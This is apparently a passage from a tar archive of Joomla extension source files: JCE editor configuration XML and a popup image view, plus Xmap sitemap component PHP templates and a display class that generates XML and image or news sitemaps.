        <param name="upload_suffix" placeholder="_copy" max="" type="text" default="" label="WF_PARAM_UPLOAD_SUFFIX" description="WF_PARAM_UPLOAD_SUFFIX_DESC" parent="upload_conflict[unique]" />
        
        <param name="browser_position" type="list" default="bottom" label="WF_PARAM_BROWSER_POSITION" description="WF_PARAM_BROWSER_POSITION_DESC">
            <option value="top">WF_LABEL_TOP</option>
            <option value="bottom">WF_LABEL_BOTTOM</option>
        </param>
        <param name="folder_tree" type="radio" default="1" label="WF_PARAM_FOLDER_TREE" description="WF_PARAM_FOLDER_TREE_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="list_limit" type="list" default="all" label="WF_PARAM_LIST_LIMIT" description="WF_PARAM_LIST_LIMIT_DESC">
            <option value="10">10</option>
            <option value="25">25</option>
            <option value="50">50</option>
            <option value="100">100</option>
            <option value="all">WF_OPTION_ALL</option>
        </param>
        <param name="validate_mimetype" type="radio" default="1" label="WF_PARAM_VALIDATE_MIMETYPE" description="WF_PARAM_VALIDATE_MIMETYPE_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="websafe_mode" type="list" default="utf-8" label="WF_PARAM_WEBSAFE_MODE" description="WF_PARAM_WEBSAFE_MODE_DESC">
            <option value="utf-8">UTF-8</option>
            <option value="ascii">ASCII</option>
        </param>
        <param name="websafe_allow_spaces" type="list" default="_" label="WF_PARAM_WEBSAFE_ALLOW_SPACES" description="WF_PARAM_WEBSAFE_ALLOW_SPACES_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="_">WF_OPTION_WEBSAFE_ALLOW_SPACES_UNDERSCORE</option>
            <option value="-">WF_OPTION_WEBSAFE_ALLOW_SPACES_DASH</option>
            <option value=".">WF_OPTION_WEBSAFE_ALLOW_SPACES_PERIOD</option>
        </param>
        <param name="websafe_textcase" type="list" class="checklist" multiple="multiple" default="uppercase,lowercase" label="WF_PARAM_WEBSAFE_TEXTCASE" description="WF_PARAM_WEBSAFE_TEXTCASE_DESC">
            <option value="uppercase">WF_OPTION_UPPERCASE</option>
            <option value="lowercase">WF_OPTION_LOWERCASE</option>
        </param>
        <param name="upload_add_random" type="radio" default="0" label="WF_PARAM_UPLOAD_ADD_RANDOM" description="WF_PARAM_UPLOAD_ADD_RANDOM_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="date_format" type="text" default="" placeholder="eg: %d/%m/%Y, %H:%M" label="WF_PARAM_DATE_FORMAT" description="WF_PARAM_DATE_FORMAT_DESC" />
        <param name="total_files" type="text" pattern="[0-9]*" default="" label="WF_PARAM_TOTAL_FILES_LIMIT" description="WF_PARAM_TOTAL_FILES_LIMIT_DESC" />
        <param name="total_size" type="text" pattern="[0-9]*" default="" label="WF_PARAM_TOTAL_FILES_SIZE_LIMIT" description="WF_PARAM_TOTAL_FILES_SIZE_LIMIT_DESC" />

        <param file="components/com_jce/editor/libraries/pro/xml/image.xml" />

    </params>

    <params group="advanced">
	<!-- Elements -->
        <param name="invalid_elements" type="text" size="50" default="" label="WF_PARAM_NO_ELEMENTS" description="WF_PARAM_NO_ELEMENTS_DESC" />
        <param name="invalid_attributes" type="text" size="50" default="dynsrc,lowsrc" label="WF_PARAM_INVALID_ATTRIBUTES" description="WF_PARAM_INVALID_ATTRIBUTES_DESC" />
        <param name="invalid_attribute_values" type="text" size="50" default="" label="WF_PARAM_INVALID_ATTRIBUTE_VALUES" description="WF_PARAM_INVALID_ATTRIBUTE_VALUES_DESC" />
        <param name="extended_elements" type="textarea" rows="2" cols="46" default="" label="WF_PARAM_ELEMENTS" description="WF_PARAM_ELEMENTS_DESC" />
        <param name="allow_javascript" type="radio" default="0" label="WF_PARAM_JAVASCRIPT" description="WF_PARAM_JAVASCRIPT_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="allow_css" type="radio" default="0" label="WF_PARAM_CSS" description="WF_PARAM_CSS_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="allow_php" type="radio" default="0" label="WF_PARAM_PHP" description="WF_PARAM_PHP_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>

        <!--param name="protect_shortcode" type="radio" default="0" label="WF_PARAM_PROTECT_SHORTCODE" description="WF_PARAM_PROTECT_SHORTCODE_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param-->

    </params>
</config>
com_jce/editor/libraries/xml/config/layout.xml000060400000010761152453734450015526 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<config>
    <params group="layout">
        <param name="width" type="text" size="5" default="" pattern="([0-9]+)(%|px)?" placeholder="auto" label="WF_PARAM_EDITOR_WIDTH" description="WF_PARAM_EDITOR_WIDTH_DESC" />
        <param name="height" type="text" size="5" default="" pattern="([0-9]+)(%|px)?" placeholder="auto" label="WF_PARAM_EDITOR_HEIGHT" description="WF_PARAM_EDITOR_HEIGHT_DESC" />
		<!--param name="theme_advanced_toolbar_location" type="list" default="top" label="WF_PARAM_TOOLBAR_LOCATION" description="WF_PARAM_TOOLBAR_LOCATION_DESC">
			<option value="top">JWF_OPTION_TOP</option>
			<option value="bottom">WF_OPTION_BOTTOM</option>
			<option value="external">WF_OPTION_EXTERNAL</option>
		</param-->
        <param name="toolbar_theme" type="list" default="default" label="WF_PARAM_EDITOR_TOOLBAR_THEME" description="WF_PARAM_EDITOR_TOOLBAR_THEME_DESC">
            <option value="default">WF_LABEL_DEFAULT</option>
            <option value="o2k7">WF_PARAM_EDITOR_SKIN_OFFICE_BLUE</option>
            <option value="o2k7.silver">WF_PARAM_EDITOR_SKIN_OFFICE_SILVER</option>
            <option value="o2k7.black">WF_PARAM_EDITOR_SKIN_OFFICE_BLACK</option>
            <option value="mobile">WF_PARAM_EDITOR_SKIN_MOBILE</option>
        </param>
        <param name="toolbar_align" type="list" default="left" label="WF_PARAM_EDITOR_TOOLBAR_ALIGN" description="WF_PARAM_EDITOR_TOOLBAR_ALIGN_DESC">
            <option value="left">WF_OPTION_LEFT</option>
            <option value="center">WF_OPTION_CENTER</option>
            <option value="right">WF_OPTION_RIGHT</option>
        </param>
        <param name="toolbar_location" type="list" default="top" label="WF_PARAM_EDITOR_TOOLBAR_LOCATION" description="WF_PARAM_EDITOR_TOOLBAR_LOCATION_DESC">
            <option value="top">WF_OPTION_TOP</option>
            <option value="bottom">WF_OPTION_BOTTOM</option>
        </param>
        <param name="statusbar_location" type="list" default="bottom" label="WF_PARAM_EDITOR_STATUSBAR_LOCATION" description="WF_PARAM_EDITOR_STATUSBAR_LOCATION_DESC">
            <option value="top">WF_OPTION_TOP</option>
            <option value="bottom">WF_OPTION_BOTTOM</option>
            <option value="none">WF_OPTION_NONE</option>
        </param>
        <param name="path" type="radio" default="1" label="WF_PARAM_EDITOR_PATH" description="WF_PARAM_EDITOR_PATH_DESC" parent="statusbar_location[top,bottom]">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="resizing" type="list" default="1" label="WF_PARAM_EDITOR_RESIZING" description="WF_PARAM_EDITOR_RESIZING_DESC" parent="statusbar_location[top,bottom]">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="resize_horizontal" type="radio" default="1" label="WF_PARAM_EDITOR_RESIZE_HORIZONTAL" description="WF_PARAM_EDITOR_RESIZE_HORIZONTAL_DESC" parent="resizing[1]">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="resizing_use_cookie" type="radio" default="1" label="WF_PARAM_EDITOR_RESIZE_COOKIE" description="WF_PARAM_EDITOR_RESIZE_COOKIE_DESC" parent="resizing[1]">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="toggle" type="list" default="1" label="WF_PARAM_EDITOR_TOGGLE" description="WF_PARAM_EDITOR_TOGGLE_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="toggle_state" type="radio" default="1" label="WF_PARAM_EDITOR_STATE" description="WF_PARAM_EDITOR_STATE_DESC" parent="toggle[1]">
            <option value="1">WF_OPTION_ON</option>
            <option value="0">WF_OPTION_OFF</option>
        </param>
        <param name="toggle_label" type="text" default="" label="WF_PARAM_EDITOR_TOGGLE_LABEL" description="WF_PARAM_EDITOR_TOGGLE_LABEL_DESC" parent="toggle[1]" />
        <param name="active_tab" type="list" default="wysiwyg" label="WF_PARAM_EDITOR_ACTIVE_TAB" description="WF_PARAM_EDITOR_ACTIVE_TAB_DESC">
            <option value="wysiwyg">WF_PARAM_EDITOR_ACTIVE_TAB_WYSIWYG</option>
            <option value="source">WF_PARAM_EDITOR_ACTIVE_TAB_CODE</option>
            <option value="preview">WF_PARAM_EDITOR_ACTIVE_TAB_PREVIEW</option>
        </param>
    </params>
</config>
com_jce/editor/libraries/xml/config/popups.xml000060400000000554152453734450015536 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<extension>
    <fields>
        <fieldset name="popups">
            <field type="popups" name="default" label="WF_EXTENSIONS_POPUPS_DEFAULT_LABEL" description="WF_EXTENSIONS_POPUPS_DEFAULT_DESC">
                <option value="">WF_OPTION_NOT_SET</option>
            </field>
        </fieldset>
    </fields>
</extension>com_jce/editor/libraries/xml/help/index.html000060400000000054152453734450015141 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/xml/help/editor.xml000060400000003253152453734450015160 0ustar00<?xml version="1.0"?>
<editor>
	<help>
		<topic key="editor.about" title="WF_EDITOR_HELP_ABOUT">
			<subtopic key="editor.toolbar" title="WF_EDITOR_HELP_TOOLBAR" />
			<subtopic key="editor.content" title="WF_EDITOR_HELP_CONTENT" />
			<subtopic key="editor.path" title="WF_EDITOR_HELP_PATH" />
		</topic>
		<topic title="WF_EDITOR_HELP_BASICS">
			<subtopic key="editor.selection" title="WF_EDITOR_HELP_SELECTION" />
			<subtopic key="editor.format" title="WF_EDITOR_HELP_FORMAT">
				<subtopic key="editor.format.bold" title="WF_EDITOR_HELP_FORMAT_BOLD" />
				<subtopic key="editor.format.align" title="WF_EDITOR_HELP_FORMAT_ALIGN" />
				<subtopic key="editor.format.blocks" title="WF_EDITOR_HELP_FORMAT_BLOCKS" />
				<subtopic key="editor.format.sub" title="WF_EDITOR_HELP_FORMAT_SUB" />
				<subtopic key="editor.format.font" title="WF_EDITOR_HELP_FORMAT_FONT" />
				<subtopic key="editor.format.indent" title="WF_EDITOR_HELP_FORMAT_INDENT" />
				<subtopic key="editor.format.attributes" title="WF_EDITOR_HELP_FORMAT_ATTRIBUTES" />
			</subtopic>
			<subtopic key="editor.lists" title="WF_EDITOR_HELP_LISTS" />		
			<subtopic key="editor.readmore" title="WF_EDITOR_HELP_READMORE" />
			<subtopic key="link.insert" title="WF_EDITOR_HELP_LINKS" />
			<subtopic key="imgmanager.insert" title="WF_EDITOR_HELP_IMAGES" />
			<subtopic key="paste.about" title="WF_EDITOR_HELP_PASTE" />
			<subtopic key="tables.edit" title="WF_EDITOR_HELP_TABLES" />
			<subtopic key="editor.spellchecker" title="WF_EDITOR_HELP_SPELLCHECKER" />
		</topic>
		<topic key="editor.acknowledgements" title="WF_EDITOR_HELP_ACKNOWLEDGEMENTS" />
		<topic key="editor.licence" title="WF_EDITOR_HELP_LICENCE" />
	</help>
</editor>

com_jce/editor/libraries/xml/help/manager.xml000060400000000473152453734450015305 0ustar00<?xml version="1.0"?>
<manager>
	<help>
		<topic key="manager.upload" title="WF_MANAGER_HELP_UPLOAD" />
		<topic key="manager.delete" title="WF_MANAGER_HELP_DELETE" />
		<topic key="manager.rename" title="WF_MANAGER_HELP_RENAME" />
		<topic key="manager.create" title="WF_MANAGER_HELP_CREATE" />
	</help>
</manager>com_jce/editor/libraries/index.html000060400000000054152453734450013411 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/index.html000060400000000054152453734450011435 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/views/index.html000060400000000054152453734450011304 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/views/popup/index.html000060400000000054152453734450012447 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/views/popup/tmpl/default.php000060400000002461152453734450013567 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;

?>
<style type="text/css">
    /* Reset template style sheet */
    body{margin:0;padding:0;}div{margin:0;padding:0;}img{margin:0;padding:0;}
</style>
<div id="wf_popup_image">
    <?php if ($this->features['mode']) {
    ?>
        <div class="contentheading"><?php echo $this->features['title']; ?></div>
    <?php 
} ?>
    <?php if ($this->features['mode'] && $this->features['print']) {
    ?>
        <div class="buttonheading"><a href="javascript:;" onClick="window.print();
                return false"><img src="<?php echo Uri::root(); ?>media/com_jce/img/print.png" width="16" height="16" alt="<?php echo Text::_('Print'); ?>" title="<?php echo Text::_('Print'); ?>" /></a></div>
<?php 
} ?>
    <div><img src="<?php echo $this->features['img']; ?>" width="<?php echo $this->features['width']; ?>" height="<?php echo $this->features['height']; ?>" alt="<?php echo $this->features['alt']; ?>" onclick="window.close();" /></div>
</div>com_jce/views/popup/tmpl/index.html000060400000000054152453734450013423 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/views/popup/view.html.php000060400000004615152453734450013107 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

use Joomla\CMS\Factory;
use Joomla\CMS\MVC\View\AbstractView;
use Joomla\CMS\Uri\Uri;

class JceViewPopup extends AbstractView
{
    public function display($tpl = null)
    {
        $app = Factory::getApplication();
        $document = Factory::getDocument();

        $document->addScript(Uri::root(true) . '/media/com_jce/site/js/popup.min.js');
        $document->addStylesheet(Uri::root(true) . '/media/com_jce/site/css/popup.min.css');

        // Get variables
        $img = $app->input->get('img', '', 'STRING');
        $title = $app->input->getWord('title');
        $mode = $app->input->getInt('mode', '0');
        $click = $app->input->getInt('click', '0');
        $print = $app->input->getInt('print', '0');

        $dim = array('', '');

        if (strpos('://', $img) === false) {
            $path = JPATH_SITE . '/' . trim(str_replace(Uri::root(), '', $img), '/');
            if (is_file($path)) {
                $dim = @getimagesize($path);
            }
        }

        $width = $app->input->getInt('w', $app->input->getInt('width', ''));
        $height = $app->input->getInt('h', $app->input->getInt('height', ''));

        if (!$width) {
            $width = $dim[0];
        }

        if (!$height) {
            $height = $dim[1];
        }

        // Cleanup img variable
        $img = preg_replace('/[^a-z0-9\.\/_-]/i', '', $img);

        $title = isset($title) ? str_replace('_', ' ', $title) : basename($img);
        // img src must be passed
        if ($img) {
            $features = array(
                'img' => str_replace(Uri::root(), '', $img),
                'title' => $title,
                'alt' => $title,
                'mode' => $mode,
                'click' => $click,
                'print' => $print,
                'width' => $width,
                'height' => $height,
            );

            $document->addScriptDeclaration('(function(){WfWindowPopup.init(' . $width . ', ' . $height . ', ' . $click . ');})();');

            $this->features = $features;
        } else {
            $app->redirect('index.php');
        }

        parent::display($tpl);
    }
}
com_xmap/index.html000060400000000036152453734450010353 0ustar00<!DOCTYPE html><title></title>com_xmap/xmap.php000060400000001634152453734450010041 0ustar00<?php
/**
 * @version       $Id$
 * @copyright     Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved.
 * @license       GNU General Public License version 2 or later; see LICENSE.txt
 * @author        Guillermo Vargas (guille@vargas.co.cr)
 */

// no direct access
defined('_JEXEC') or die;

JTable::addIncludePath( JPATH_COMPONENT.'/tables' );

jimport('joomla.form.form');
JForm::addFieldPath( JPATH_COMPONENT.'/models/fields' );

// Register helper class
JLoader::register('XmapHelper', dirname(__FILE__) . '/helpers/xmap.php');

// Include dependancies
jimport('joomla.application.component.controller');

# For compatibility with older versions of Joola 2.5
if (!class_exists('JControllerLegacy')){
    class JControllerLegacy extends JController {

    }
}

$controller = JControllerLegacy::getInstance('Xmap');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();com_xmap/views/index.html000060400000000036152453734450011510 0ustar00<!DOCTYPE html><title></title>com_xmap/views/xml/metadata.xml000060400000000265152453734450012621 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
    <view title="XML SITEMAP">
        <message>
            <![CDATA[TYPEXMLLAYDESC]]>
        </message>
    </view>
</metadata>
com_xmap/views/xml/tmpl/default.php000060400000003153152453734450013427 0ustar00<?php
/**
 * @version             $Id$
 * @copyright			Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license             GNU General Public License version 2 or later; see LICENSE.txt
 * @author              Guillermo Vargas (guille@vargas.co.cr)
 */

// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

// Create shortcut to parameters.
$params = $this->item->params;

$live_site = substr_replace(JURI::root(), "", -1, 1);

header('Content-type: text/xml; charset=utf-8');

echo '<?xml version="1.0" encoding="UTF-8"?>',"\n";
if (($this->item->params->get('beautify_xml', 1) == 1) && !$this->displayer->isNews) {
    $params  = '&amp;filter_showtitle='.JRequest::getBool('filter_showtitle',0);
    $params .= '&amp;filter_showexcluded='.JRequest::getBool('filter_showexcluded',0);
    $params .= (JRequest::getCmd('lang')?'&amp;lang='.JRequest::getCmd('lang'):'');
    echo '<?xml-stylesheet type="text/xsl" href="'. $live_site.'/index.php?option=com_xmap&amp;view=xml&amp;layout=xsl&amp;tmpl=component&amp;id='.$this->item->id.($this->isImages?'&amp;images=1':'').$params.'"?>'."\n";
}
?>
<urlset xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd" xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"<?php echo ($this->displayer->isImages? ' xmlns:image="http://www.google.com/schemas/sitemap-image/1.1"':''); ?><?php echo ($this->displayer->isNews? ' xmlns:news="http://www.google.com/schemas/sitemap-news/0.9"':''); ?>>

<?php echo $this->loadTemplate('items'); ?>

</urlset>com_xmap/views/xml/tmpl/default_items.php000060400000001007152453734450014624 0ustar00<?php
/**
 * @version             $Id$
 * @copyright			Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license             GNU General Public License version 2 or later; see LICENSE.txt
 * @author              Guillermo Vargas (guille@vargas.co.cr)
 */

// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

// Create shortcut to parameters.
$params = $this->state->get('params');

// Use the class defined in default_class.php to print the sitemap
$this->displayer->printSitemap();com_xmap/views/xml/tmpl/index.html000060400000000036152453734450013264 0ustar00<!DOCTYPE html><title></title>com_xmap/views/xml/tmpl/default_class.php000060400000017601152453734450014617 0ustar00<?php
/**
 * @version         $Id$
 * @copyright        Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license        GNU General Public License version 2 or later; see LICENSE.txt
 * @author        Guillermo Vargas (guille@vargas.co.cr)
 */
// No direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

require_once(JPATH_COMPONENT . '/displayer.php');

class XmapXmlDisplayer extends XmapDisplayer
{

    /**
     *
     * @var array  Stores the list of links that have been already included in
     *             the sitemap to avoid duplicated items
     */
    var $_links;

    /**
     *
     * @var string
     */
    var $view = 'xml';

    protected $showTitle = false;
    protected $showExcluded = false;

    /**
     *
     * @var int Indicates if this is a google news sitemap or not
     */
    var $isNews = 0;

    /**
     *
     * @var int Indicates if this is a google news sitemap or not
     */
    var $isImages = 0;

    function __construct($config, $sitemap)
    {
        parent::__construct($config, $sitemap);
        $this->uids = array();

        $this->defaultLanguage = strtolower(JFactory::getLanguage()->getTag());
        if (preg_match('/^([a-z]+)-.*/',$this->defaultLanguage,$matches) && !in_array($this->defaultLanguage, array(' zh-cn',' zh-tw')) ) {
            $this->defaultLanguage = $matches[1];
        }

        $this->showTitle = JRequest::getBool('filter_showtitle', 0);
        $this->showExcluded = JRequest::getBool('filter_showexcluded', 0);

        $db = JFactory::getDbo();
        $this->nullDate = $db->getNullDate();
    }

    /**
     * Prints an XML node for the sitemap
     *
     * @param stdclass $node
     */
    function printNode($node)
    {
        $node->isExcluded = false;
        if ($this->isExcluded($node->id,$node->uid)) {
            if (!$this->showExcluded || !$this->canEdit) {
                return false;
            }
            $node->isExcluded = true;
        }

        if ($this->isNews && (!isset($node->newsItem) || !$node->newsItem)) {
            return true;
        }

        // For images sitemaps only display pages with images
        if ($this->isImages && (!isset($node->images) || !count($node->images))) {
            return true;
        }

        // Get the item's URL
        $link = JRoute::_($node->link, true, @$node->secure == 0 ? (JFactory::getURI()->isSSL() ? 1 : -1) : $node->secure);

        if (!isset($node->browserNav))
            $node->browserNav = 0;

        if ($node->browserNav != 3   // ignore "no link"
                && empty($this->_links[$link])) { // ignore links that have been added already
            $this->count++;
            $this->_links[$link] = 1;

            if (!isset($node->priority))
                $node->priority = "0.5";

            if (!isset($node->changefreq))
                $node->changefreq = 'daily';

            // Get the chancefrequency and priority for this item
            $changefreq = $this->getProperty('changefreq', $node->changefreq, $node->id, 'xml', $node->uid);
            $priority = $this->getProperty('priority', $node->priority, $node->id, 'xml', $node->uid);

            echo '<url>' . "\n";
            echo '<loc>', $link, '</loc>' . "\n";
            if ($this->canEdit) {
                if ($this->showTitle) {
                    echo '<title><![CDATA['.$node->name.']]></title>' . "\n";
                }
                if ($this->showExcluded) {
                    echo '<rowclass>',($node->isExcluded? 'excluded':''),'</rowclass>';
                }
                echo '<uid>', $node->uid, '</uid>' . "\n";
                echo '<itemid>', $node->id, '</itemid>' . "\n";
            }
            $modified = (isset($node->modified) && $node->modified != FALSE && $node->modified != $this->nullDate && $node->modified != -1) ? $node->modified : NULL;
            if (!$modified && $this->isNews) {
                $modified = time();
            }
            if ($modified && !is_numeric($modified)){
                $date =  new JDate($modified);
                $modified = $date->toUnix();
            }
            if ($modified) {
                $modified = gmdate('Y-m-d\TH:i:s\Z', $modified);
            }

            // If this is not a news sitemap
            if (!$this->isNews) {
                if ($this->isImages) {
                    foreach ($node->images as $image) {
                        echo '<image:image>', "\n";
                        echo '<image:loc>', $image->src, '</image:loc>', "\n";
                        if ($image->title) {
                            $image->title = str_replace('&', '&amp;', html_entity_decode($image->title, ENT_NOQUOTES, 'UTF-8'));
                            echo '<image:title>', $image->title, '</image:title>', "\n";
                        } else {
                            echo '<image:title />';
                        }
                        if (isset($image->license) && $image->license) {
                            echo '<image:license>',str_replace('&', '&amp;',html_entity_decode($image->license, ENT_NOQUOTES, 'UTF-8')),'</image:license>',"\n";
                        }
                        echo '</image:image>', "\n";
                    }
                } else {
                    if ($modified){
                        echo '<lastmod>', $modified, '</lastmod>' . "\n";
                    }
                    echo '<changefreq>', $changefreq, '</changefreq>' . "\n";
                    echo '<priority>', $priority, '</priority>' . "\n";
                }
            } else {
                if (isset($node->keywords)) {
                    $keywords = htmlspecialchars($node->keywords);
                } else {
                    $keywords = '';
                }

                if (!isset($node->language) || $node->language == '*') {
                    $node->language = $this->defaultLanguage;
                }

                echo "<news:news>\n";
                echo '<news:publication>'."\n";
                echo '  <news:name>'.(htmlspecialchars($this->sitemap->params->get('news_publication_name'))).'</news:name>'."\n";
                echo '  <news:language>'.$node->language.'</news:language>'."\n";
                echo '</news:publication>'."\n";
                echo '<news:publication_date>', $modified, '</news:publication_date>' . "\n";
                echo '<news:title><![CDATA['.$node->name.']]></news:title>' . "\n";
                if ($keywords) {
                    echo '<news:keywords>', $keywords, '</news:keywords>' . "\n";
                }
                echo "</news:news>\n";
            }
            echo '</url>', "\n";
        } else {
            return empty($this->_links[$link]);
        }
        return true;
    }

    /**
     *
     * @param string $property The property that is needed
     * @param string $value The default value if the property is not found
     * @param int $Itemid   The menu item id
     * @param string $view  (xml / html)
     * @param int $uid      Unique id of the element on the sitemap
     *                      (the id asigned by the extension)
     * @return string
     */
    function getProperty($property, $value, $Itemid, $view, $uid)
    {
        if (isset($this->jview->sitemapItems[$view][$Itemid][$uid][$property])) {
            return $this->jview->sitemapItems[$view][$Itemid][$uid][$property];
        }
        return $value;
    }

    /**
     * Called on every level change
     *
     * @param int $level
     * @return boolean
     */
    function changeLevel($level)
    {
        return true;
    }

    /**
     * Function called before displaying the menu
     *
     * @param stdclass $menu The menu node item
     * @return boolean
     */
    function startMenu($menu)
    {
        return true;
    }

    /**
     * Function called after displaying the menu
     *
     * @param stdclass $menu The menu node item
     * @return boolean
     */
    function endMenu($menu)
    {
        return true;
    }
}
com_xmap/views/xml/tmpl/default_xsl.php000060400000046143152453734450014323 0ustar00<?php
/**
 * @version             $Id$
 * @copyright           Copyright (C) 2005 - 2009 Joomla! Vargas. All rights reserved.
 * @license             GNU General Public License version 2 or later; see LICENSE.txt
 * @author              Guillermo Vargas (guille@vargas.co.cr)
 */

// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );

header('Content-Type: text/xml; charset="utf-8"');
header('Content-Disposition: inline');

$showTitle = $this->canEdit && JRequest::getBool('filter_showtitle', 0);
$showExcluded = $this->canEdit && JRequest::getBool('filter_showexcluded', 0);

echo '<?xml version="1.0" encoding="UTF-8"?>',"\n";
?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:xna="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:image="http://www.google.com/schemas/sitemap-image/1.1" exclude-result-prefixes="xna">

<xsl:output indent="yes" method="html" omit-xml-declaration="yes"/>
<xsl:template match="/">
<html>
<head>
<title><?php echo JText::_('COM_XMAP_XML_FILE'); ?></title>
<script src="<?php echo JUri::base(); ?>media/system/js/mootools-core.js" type="text/javascript"></script>
<script src="<?php echo JUri::base(); ?>media/system/js/mootools-more.js" type="text/javascript"></script>
<style type="text/css">
    <![CDATA[
    <!--
    h1 {
        font-weight:bold;
        font-size:1.5em;
        margin-bottom:0;
        margin-top:1px;
    }
    h2 {
        font-weight:bold;
        font-size:1.2em;
        margin-bottom:0;
        color:#707070;
        margin-top:1px;
    }
    p.sml {
        font-size:0.8em;
        margin-top:0;
    }
    .sortup {
        background-position: right center;
        background-image: url(<?php echo JUri::base(); ?>components/com_xmap/assets/images/sortup.gif);
        background-repeat: no-repeat;
        font-style:italic;
        white-space:pre;
    }
    .sortdown {
        background-position: right center;
        background-image: url(<?php echo JUri::base(); ?>components/com_xmap/assets/images/sortdown.gif);
        background-repeat: no-repeat;
        font-style:italic;
        white-space:pre;
    }
    table.copyright {
        width:100%;
        border-top:1px solid #ddad08;
        margin-top:1em;
        text-align:center;
        padding-top:1em;
        vertical-align:top;
    }
    table.data {
        font-size: 12px;
        width: 100%;
        border: 1px solid #000000;
        clear:both;
    }
    table.data tr.header td {
        background-color: #CCCCCC;
        color: #FFFFFF;
        font-weight: bold;
        font-size: 14px;
    }
    .divoptions {
        background:#fff;
        border:1px solid #ccc;
        position:absolute;
        padding:5px;
    }
    .divoptions table {
        width:100%;
    }
    .divoptions table td {
        padding:0px;
        border: 1px solid #ffffff;
        border-bottom:1px solid #ccc;
        font-size: 12px;
    }
    .divoptions table td:hover {
        border: 1px solid blue;
    }
    .divoptions table td a {
        text-decoration:none;
        display:block;
        width:100%;
    }
    .editable {
        cursor:pointer;
        background: url(<?php echo JUri::base(); ?>components/com_xmap/assets/images/arrow.gif) top right no-repeat;
        padding-right:18px;
        padding-right:18px;
        border:1px solid #ffffff;
    }
    .editable:hover {
        border-color:#cccccc;
    }
    #title {
        float:left;
        display:inline-block;
        width:29%;
    }
    #instructions {
        float:left;
        display:inline-block;
        font-size: 11px;
        width:70%;
        margin-bottom:10px;
    }
    #instructions>div {
        border-radius: 5px;
        padding: 10px;
        background-color: #ccc;
    }
    #filter_options form { margin:0; }
    #filter_options {border-radius: 5px; background-color:#fff;padding: 3px;}
    .toggle-excluded {
        width: 16px; height: 16px; display: inline-block; float: left; cursor: pointer;margin-right: 5px;
        background: url(<?php echo JUri::base(); ?>components/com_xmap/assets/images/tick.png) no-repeat;
    }
    .excluded {
      text-decoration:line-through;
    }
    .excluded .toggle-excluded {
        background: url(<?php echo JUri::base(); ?>components/com_xmap/assets/images/unpublished.png) no-repeat;
    }
    div.imagelist {
        border: 1px solid #ccc;
        background-color: #eee;
        padding: 5px;
        width: auto;float:left;
    }
    span.images_count {
        border: 1px solid #004080;
        background-color: #0000FF;
        color: #fff;
        margin: 0 5px;
        cursor: pointer;
        padding:2px;
        float: left;
    }
<?php $doc = JFactory::getDocument(); if ($doc->direction == 'rtl') { ?>
    body {
        font-family: Tahoma;
    }
    body #header {
        direction: rtl;
    }
    #title {
        float: right;
    }
<?php } ?>
    -->
    ]]>
</style>
<script language="JavaScript">
    <![CDATA[
    var selectedColor = "blue";
    var defaultColor = "black";
    var hdrRows = 1;
    var numeric = '..';
    var desc = '..';
    var html = '..';
    var freq = '..';

    function initXsl(tabName,fileType) {
        hdrRows = 1;

        if(fileType=="sitemap") {
            numeric = ".3.";
            desc = ".1.";
            html = ".0.";
            freq = ".2.";
            initTable(tabName);
            setSort(tabName, 0, 1);
        }
